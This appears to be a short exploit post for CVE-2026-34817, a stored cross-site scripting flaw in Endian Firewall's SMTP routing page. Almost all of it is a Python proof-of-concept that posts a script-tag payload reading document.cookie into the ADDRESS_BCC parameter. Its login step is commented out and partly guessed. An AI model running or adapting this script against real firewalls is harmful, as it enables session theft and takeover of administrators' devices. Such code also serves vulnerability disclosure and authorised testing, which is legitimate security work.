CVE-2026-34817 Endian Firewall存储型XSS漏洞

import requests # Target URL (replace with actual target) target_url = "http://target-ip/cgi-bin/smtprouting.cgi" # Attacker's credentials username = "attacker" password = "password" # Malicious payload to be injected in the ADDRESS BCC parameter xss_payload = "<script>alert(document.cookie);</script>" # Data payload for the request # Note: Parameter names might vary based on actual form structure post_data = { "ACTION": "Add", "ADDRESS_TO": "[email protected]", "ADDRESS_BCC": xss_payload } # Create a session to maintain authentication session = requests.Session() # 1. Login to get authenticated session # (Assuming a login endpoint exists, adjust as necessary) login_data = { "username": username, "password": password } # session.post("http://target-ip/login.cgi", data=login_data) # 2. Send the exploit payload try: response = session.post(target_url, data=post_data) if response.status_code == 200: print("[+] Payload sent successfully. Check the BCC field in the admin panel.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")